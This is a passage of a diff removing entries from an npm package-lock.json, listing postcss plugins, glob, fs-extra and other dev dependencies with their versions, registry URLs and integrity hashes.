"sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", - "dev": true - }, - "escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", - "dev": true - }, - "estree-walker": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", - "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", - "dev": true - }, - "fast-glob": { - "version": "3.2.11", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", - "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", - "dev": true, - "requires": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.4" - } - }, - "fastq": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", - "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", - "dev": true, - "requires": { - "reusify": "^1.0.4" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "fs-extra": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", - "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", - "dev": true, - "requires": { - "graceful-fs": "^4.2.0", - "jsonfile": "^6.0.1", - "universalify": "^2.0.0" - } - }, - "fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", - "dev": true - }, - "fsevents": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", - "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", - "dev": true, - "optional": true - }, - "function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", - "dev": true - }, - "get-caller-file": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", - "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", - "dev": true - }, - "get-stdin": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-9.0.0.tgz", - "integrity": "sha512-dVKBjfWisLAicarI2Sf+JuBE/DghV4UzNAVe9yhEJuzeREd3JhOTE9cUaJTeSa77fsbQUK3pcOpJfM59+VKZaA==", - "dev": true - }, - "glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.1.1", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "requires": { - "is-glob": "^4.0.1" - } - }, - "globby": { - "version": "12.2.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-12.2.0.tgz", - "integrity": "sha512-wiSuFQLZ+urS9x2gGPl1H5drc5twabmm4m2gTR27XDFyjUHJUNsS8o/2aKyIF6IoBaR630atdher0XJ5g6OMmA==", - "dev": true, - "requires": { - "array-union": "^3.0.1", - "dir-glob": "^3.0.1", - "fast-glob": "^3.2.7", - "ignore": "^5.1.9", - "merge2": "^1.4.1", - "slash": "^4.0.0" - } - }, - "graceful-fs": { - "version": "4.2.10", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz", - "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==", - "dev": true - }, - "has": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", - "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", - "dev": true, - "requires": { - "function-bind": "^1.1.1" - } - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", - "dev": true - }, - "ignore": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", - "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", - "dev": true - }, - "inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", - "dev": true, - "requires": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - "dev": true, - "requires": { - "binary-extensions": "^2.0.0" - } - }, - "is-builtin-module": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-3.1.0.tgz", - "integrity": "sha512-OV7JjAgOTfAFJmHZLvpSTb4qi0nIILDV1gWPYDnDJUTNFM5aGlRAhk4QcT8i7TuAleeEV5Fdkqn3t4mS+Q11fg==", - "dev": true, - "requires": { - "builtin-modules": "^3.0.0" - } - }, - "is-core-module": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.9.0.tgz", - "integrity": "sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A==", - "dev": true, - "requires": { - "has": "^1.0.3" - } - }, - "is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true - }, - "is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "dev": true, - "requires": { - "is-extglob": "^2.1.1" - } - }, - "is-module": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz", - "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==", - "dev": true - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, - "is-reference": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/is-reference/-/is-reference-1.2.1.tgz", - "integrity": "sha512-U82MsXXiFIrjCK4otLT+o2NA2Cd2g5MLoOVXUZjIOhLurrRxpEXzI8O0KZHr3IjLvlAH1kTPYSuqer5T9ZVBKQ==", - "dev": true, - "requires": { - "@types/estree": "*" - } - }, - "jest-worker": { - "version": "26.6.2", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz", - "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", - "dev": true, - "requires": { - "@types/node": "*", - "merge-stream": "^2.0.0", - "supports-color": "^7.0.0" - }, - "dependencies": { - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } - } - }, - "js-tokens": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - "dev": true - }, - "jsonfile": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", - "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", - "dev": true, - "requires": { - "graceful-fs": "^4.1.6", - "universalify": "^2.0.0" - } - }, - "lilconfig": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz", - "integrity": "sha512-xaYmXZtTHPAw5m+xLN8ab9C+3a8YmV3asNSPOATITbtwrfbwaLJj8h66H1WMIpALCkqsIzK3h7oQ+PdX+LQ9Eg==", - "dev": true - }, - "lodash.memoize": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", - "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", - "dev": true - }, - "lodash.uniq": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", - "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==", - "dev": true - }, - "magic-string": { - "version": "0.25.9", - "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz", - "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", - "dev": true, - "requires": { - "sourcemap-codec": "^1.4.8" - } - }, - "mdn-data": { - "version": "2.0.14", - "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", - "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", - "dev": true - }, - "merge-stream": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", - "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", - "dev": true - }, - "merge2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - "dev": true - }, - "micromatch": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", - "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", - "dev": true, - "requires": { - "braces": "^3.0.2", - "picomatch": "^2.3.1" - } - }, - "minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, - "nanoid": { - "version": "3.3.4", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.4.tgz", - "integrity": "sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw==", - "dev": true - }, - "node-releases": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.5.tgz", - "integrity": "sha512-U9h1NLROZTq9uE1SNffn6WuPDg8icmi3ns4rEl/oTfIle4iLjTliCzgTsbaIFMq/Xn078/lfY/BL0GWZ+psK4Q==", - "dev": true - }, - "normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true - }, - "normalize-url": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", - "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", - "dev": true - }, - "nth-check": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", - "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", - "dev": true, - "requires": { - "boolbase": "^1.0.0" - } - }, - "once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", - "dev": true, - "requires": { - "wrappy": "1" - } - }, - "path-is-absolute": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", - "dev": true - }, - "path-parse": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", - "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", - "dev": true - }, - "path-type": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", - "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", - "dev": true - }, - "picocolors": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", - "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==", - "dev": true - }, - "picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "dev": true - }, - "pify": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", - "dev": true - }, - "postcss": { - "version": "8.4.14", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.14.tgz", - "integrity": "sha512-E398TUmfAYFPBSdzgeieK2Y1+1cpdxJx8yXbK/m57nRhKSmk1GB2tO4lbLBtlkfPQTDKfe4Xqv1ASWPpayPEig==", - "dev": true, - "requires": { - "nanoid": "^3.3.4", - "picocolors": "^1.0.0", - "source-map-js": "^1.0.2" - } - }, - "postcss-calc": { - "version": "8.2.4", - "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz", - "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", - "dev": true, - "requires": { - "postcss-selector-parser": "^6.0.9", - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-cli": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-9.1.0.tgz", - "integrity": "sha512-zvDN2ADbWfza42sAnj+O2uUWyL0eRL1V+6giM2vi4SqTR3gTYy8XzcpfwccayF2szcUif0HMmXiEaDv9iEhcpw==", - "dev": true, - "requires": { - "chokidar": "^3.3.0", - "dependency-graph": "^0.11.0", - "fs-extra": "^10.0.0", - "get-stdin": "^9.0.0", - "globby": "^12.0.0", - "picocolors": "^1.0.0", - "postcss-load-config": "^3.0.0", - "postcss-reporter": "^7.0.0", - "pretty-hrtime": "^1.0.3", - "read-cache": "^1.0.0", - "slash": "^4.0.0", - "yargs": "^17.0.0" - } - }, - "postcss-colormin": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.0.tgz", - "integrity": "sha512-WdDO4gOFG2Z8n4P8TWBpshnL3JpmNmJwdnfP2gbk2qBA8PWwOYcmjmI/t3CmMeL72a7Hkd+x/Mg9O2/0rD54Pg==", - "dev": true, - "requires": { - "browserslist": "^4.16.6", - "caniuse-api": "^3.0.0", - "colord": "^2.9.1", - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-convert-values": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.2.tgz", - "integrity": "sha512-c6Hzc4GAv95B7suy4udszX9Zy4ETyMCgFPUDtWjdFTKH1SE9eFY/jEpHSwTH1QPuwxHpWslhckUQWbNRM4ho5g==", - "dev": true, - "requires": { - "browserslist": "^4.20.3", - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-discard-comments": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", - "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", - "dev": true, - "requires": {} - }, - "postcss-discard-duplicates": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", - "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", - "dev": true, - "requires": {} - }, - "postcss-discard-empty": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", - "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", - "dev": true, - "requires": {} - }, - "postcss-discard-overridden": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", - "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", - "dev": true, - "requires": {} - }, - "postcss-import": { - "version": "14.1.0", - "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-14.1.0.tgz", - "integrity": "sha512-flwI+Vgm4SElObFVPpTIT7SU7R3qk2L7PyduMcokiaVKuWv9d/U+Gm/QAd8NDLuykTWTkcrjOeD2Pp1rMeBTGw==", - "dev": true, - "requires": { - "postcss-value-parser": "^4.0.0", - "read-cache": "^1.0.0", - "resolve": "^1.1.7" - } - }, - "postcss-load-config": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz", - "integrity": "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==", - "dev": true, - "requires": { - "lilconfig": "^2.0.5", - "yaml": "^1.10.2" - } - }, - "postcss-merge-longhand": { - "version": "5.1.6", - "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.6.tgz", - "integrity": "sha512-6C/UGF/3T5OE2CEbOuX7iNO63dnvqhGZeUnKkDeifebY0XqkkvrctYSZurpNE902LDf2yKwwPFgotnfSoPhQiw==", - "dev": true, - "requires": { - "postcss-value-parser": "^4.2.0", - "stylehacks": "^5.1.0" - } - }, - "postcss-merge-rules": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.2.tgz", - "integrity": "sha512-zKMUlnw+zYCWoPN6yhPjtcEdlJaMUZ0WyVcxTAmw3lkkN/NDMRkOkiuctQEoWAOvH7twaxUUdvBWl0d4+hifRQ==", - "dev": true, - "requires": { - "browserslist": "^4.16.6", - "caniuse-api": "^3.0.0", - "cssnano-utils": "^3.1.0", - "postcss-selector-parser": "^6.0.5" - } - }, - "postcss-minify-font-values": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", - "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", - "dev": true, - "requires": { - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-minify-gradients": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", - "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", - "dev": true, - "requires": { - "colord": "^2.9.1", - "cssnano-utils": "^3.1.0", - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-minify-params": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.3.tgz", - "integrity": "sha512-bkzpWcjykkqIujNL+EVEPOlLYi/eZ050oImVtHU7b4lFS82jPnsCb44gvC6pxaNt38Els3jWYDHTjHKf0koTgg==", - "dev": true, - "requires": { - "browserslist": "^4.16.6", - "cssnano-utils": "^3.1.0", - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-minify-selectors": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", - "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", - "dev": true, - "requires": { - "postcss-selector-parser": "^6.0.5" - } - }, - "postcss-normalize-charset": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", - "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", - "dev": true, - "requires": {} - }, - "postcss-normalize-display-values": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", - "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", - "dev": true, - "requires": { - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-normalize-positions": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", - "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", - "dev": true, - "requires": { - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-normalize-repeat-style": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", - "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", - "dev": true, - "requires": { - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-normalize-string": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", - "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", - "dev": true, - "requires": { - "postcss-value-parser": "^4.2.0" - } - }, - "postcss-normalize-timing-functions": { - "version": "5.1.0", - "resolved": 